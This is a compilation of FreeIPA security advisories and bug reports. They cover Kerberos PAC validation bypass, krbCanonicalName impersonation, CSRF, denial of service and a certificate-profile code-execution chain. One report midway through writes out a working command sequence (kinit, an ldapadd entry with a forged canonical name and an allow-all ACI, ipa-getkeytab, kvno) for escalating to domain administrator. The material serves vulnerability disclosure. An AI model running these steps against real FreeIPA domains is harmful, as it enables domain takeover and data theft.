A flaw was found in FreeIPA. When a trust relationship is configured between FreeIPA and Active Directory, Active Directory users can bypass authentication for FreeIPA services, including the portal, SMB server, and LDAP directory. This is possible by impersonating a client name in the Ticket Granting Service (TGS) due to FreeIPA services not verifying Privilege Attribute Certificate (PAC) certificates. This vulnerability could allow an authenticated Active Directory user to escalate their privileges within the FreeIPA domain.
A privilege escalation from host to domain vulnerability was found in the FreeIPA project. The FreeIPA package fails to validate the uniqueness of the krbCanonicalName for the admin account by default, allowing users to create services with the same canonical name as the REALM admin. When a successful attack happens, the user can retrieve a Kerberos ticket in the name of this service, containing the admin@REALM credential. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.
A privilege escalation flaw from host to domain administrator was found in FreeIPA. This vulnerability is similar to CVE-2025-4404, where it fails to validate the uniqueness of the krbCanonicalName. While the previously released version added validations for the admin@REALM credential, FreeIPA still does not validate the root@REALM canonical name, which can also be used as the realm administrator's name. This flaw allows an attacker to perform administrative tasks over the REALM, leading to access to sensitive data and sensitive data exfiltration.
A privilege escalation flaw was found in FreeIPA. The uniqueness constraint enforced on Kerberos principal name attributes in the 389-ds directory server does not properly account for equivalent representations of the same principal name, allowing a user with sufficient LDAP write privileges to create a service principal that impersonates an existing privileged one. This can lead to unauthorized acquisition of Kerberos service tickets for sensitive services, potentially resulting in full domain compromise.
A flaw was found in FreeIPA. The trust-fetch-domains command, used to refresh Active Directory trust topology, is gated only by the read-level ACI on the trust object (System: Read Trust Information, granted to any authenticated IPA user by default) rather than a trust-administration-level permission. Any authenticated, non-privileged IPA user can therefore invoke ipa trust-fetch-domains, which calls a root-owned oddjobd/D-Bus helper (install/oddjob/com.redhat.idm.trust-fetch-domains.in). When the caller supplies --admin/--password, the helper calls kinitpassword() against a caller-chosen --server using attacker-supplied credentials, with no cross-check that they belong to the real trusted AD forest, then accepts whatever forest-trust topology (domain names, NetBIOS names, SIDs) that attacker-controlled server returns via ipaserver/dcerpc.py's fetchdomains()/discovertrustinstance(). This fabricated data is written directly into the IPA LDAP directory as authoritative trust/ID-range topology by trust.addnewdomainsfromtrust(). The authorization gap itself (an unprivileged, non-admin user's request reaching the root-owned helper's execution with no ACI rejection) was reproduced dynamically in an isolated sandbox against ipa-server-4.13.5, confirmed against a negative control (an unrelated admin-only operation was correctly rejected in the same session). The exploiting principal holds zero delegated privilege — this is not a case of a narrow administrative delegation being used beyond its intended scope.
A Cross-site request forgery vulnerability exists in ipa/session/loginpassword in all supported versions of IPA. This flaw allows an attacker to trick the user into submitting a request that could perform actions as the user, resulting in a loss of confidentiality and system integrity. During community penetration testing it was found that for certain HTTP end-points FreeIPA does not ensure CSRF protection. Due to implementation details one cannot use this flaw for reflection of a cookie representing already logged-in user. An attacker would always have to go through a new authentication attempt.
A flaw was found in FreeIPA's idp-add command, where insufficiently validated --organization/--base-url input reaches a constrained eval() call before the corresponding LDAP access control check is enforced. This allows any authenticated IPA principal, regardless of privilege level, to enumerate and read the environment variables of the affected server process and to cause denial of service via memory exhaustion.
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit a vulnerability in the /ipa/i18nmessages endpoint by sending an arbitrarily large request body. This can cause the service to consume excessive memory, leading to memory exhaustion, degraded responsiveness, and a denial of service (DoS) condition.
A flaw was found in FreeIPA. A remote, unauthenticated attacker can exploit this vulnerability by sending oversized form POST requests to the /ipa/migration/migration.py endpoint. This can force the migration handler to read attacker-controlled request bodies fully into memory, leading to increased memory usage, slower request handling, and potential service disruption or denial of service.
An information disclosure vulnerability has been found in ipa allowing attacker to retrieve user password hash when utilizing 'System: Read Stage Users' permission.
The lack of verification for the uniqueness of the LDAP attribute krbCanonicalName in FreeIPA may lead to privilege escalation from host to domain admin.
I'd like to report a privilege escalation method based on manipulation of the krbCanonicalName attribute. Despite changes made by FreeIPA and PAC certificate validation, it can still be abused.
Requirements to exploit: The attacker must have the rights of the computer account or an account with the right to add to almost any branch of the LDAP directory.
Version affected: FreeIPA VERSION: 4.12.2, APIVERSION: 2.254 Patch available: no CVSS 3.1 Vector AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:H/A:H
You're familiar with the general information on vulnerabilities CVE-2025-4404 and CVE-2025-7493. But there's a method that can currently be exploited, and it's much more dangerous than the CVEs listed. The problem is that a user who controls krbCanonicalName can specify the value of any account by simply specifying krbCanonicalName without specifying REALM and then request the tickets they need. On earlier versions of FreeIPA where PAC certificate validation isn't enabled, we can already fully exploit the domain. But even with PAC validation enabled, we can specify values with the service prefix. For example, krbtgt/ or ldap/ or host/ and request a ticket with a PAC, and KDC will return a perfectly valid ticket. It's worth noting that if you simply specify "admin," the issuance of such tickets will be rejected due to PAC certificate validation. One of the easiest ways I see is to get a domain controller account, for example host/ipa.red.corp.
kdestroy -A
kinit -k -t /etc/krb5.keytab host/debi.red.corp
ldapadd -H ldap://ipa.red.corp
dn: krbprincipalname=pwn/debi.red.corp,cn=services,cn=accounts,dc=red,dc=corp ipaKrbPrincipalAlias: pwn/debi.red.corp krbPrincipalName: pwn/debi.red.corp objectClass: ipaKrbPrincipal objectClass: ipaObject objectClass: ipaService objectClass: krbPrincipal objectClass: krbPrincipalAux objectClass: top krbCanonicalName: host/ipa.red.corp managedBy: fqdn=debi.red.corp,cn=computers,cn=accounts,dc=red,dc=corp aci: (targetattr = "")(version 3.0;acl "pwn";allow (all) userdn = "ldap:///anyone"winking face
ipa-getkeytab -p pwn/debi.red.corp -k ./pwn.keytab --mech=GSSAPI
kdestroy -A
kinit -k -t pwn.keytab pwn/debi.red.corp
kvno HTTP/ipa.red.corp
kvno ldap/ipa.red.corp
klist -A
FreeIPA's certprofileimport.precallback (ipaserver/plugins/certprofile.py) only extracts and validates the profileId field from an uploaded certificate profile; the remainder of the profile configuration is passed through unvalidated to Dogtag. Dogtag's ExternalProcessConstraint (base/ca/src/main/java/com/netscape/cms/profile/constraint/ExternalProcessConstraint.java) executes a configured binary with request-derived environment variables, giving a user who can import certificate profiles (a CA-Administrator-equivalent privilege) code execution as pkiuser.
Independently reproduced against a stock freeipa/freeipa-server:almalinux-10 (FreeIPA 4.13.1) install, using an administrator credential obtained via the companion FreeIPA takeover flaw: the certprofile-import -> ExternalProcessConstraint chain executed attacker-controlled commands. In the reference container, a further SSSD-cache-forging + ksu misconfiguration escalated this to full root — confirmed via a random-token file write, then read back through an independent channel to rule out fabricated output. Whether the root escalation applies to a genuine RHEL RPM-packaged IdM/PKI install (as opposed to being specific to the community container's SSSD/ksu configuration) has not yet been independently confirmed and needs follow-up before finalizing severity.
This requires an already-authenticated CA-Administrator-equivalent account — it is not reachable anonymously on its own. Identified as part of the PSIRTSUPT-21812 investigation; see linked ticket for reproduction evidence.
A flaw was found in FreeIPA. A low-privilege authenticated user can exploit this vulnerability by submitting an oversized One-Time Password (OTP) key value. This oversized key is then decoded and re-encoded without proper size limits, consuming excessive CPU and memory resources. This can lead to a denial of service, degrading the availability of the IPA service.
It was discovered that the IPA extdom Directory Server plug-in did not correctly perform memory reallocation when handling user account information. A request for a list of groups for a user that belongs to a large number of groups would cause a Directory Server to crash.
Acknowledgements:
This issue was discovered by Sumit Bose of Red Hat.
If trust relationship between FreeIPA and Active Directory is configured (established/created), AD users can bypass authentication of the FreeIPA portal, SMB server, LDAP directory and, presumably, any other GSSAPI services unauthorized, using impersonation in TGS, under certain conditions. In the worst case scenario a user could escalate their priveleges (permissions/rights) in FreeIPA domain. This is due to the fact that the portal, like other GSSAPI services, is not configured to verify PAC certificates and trusts the TGS cname field.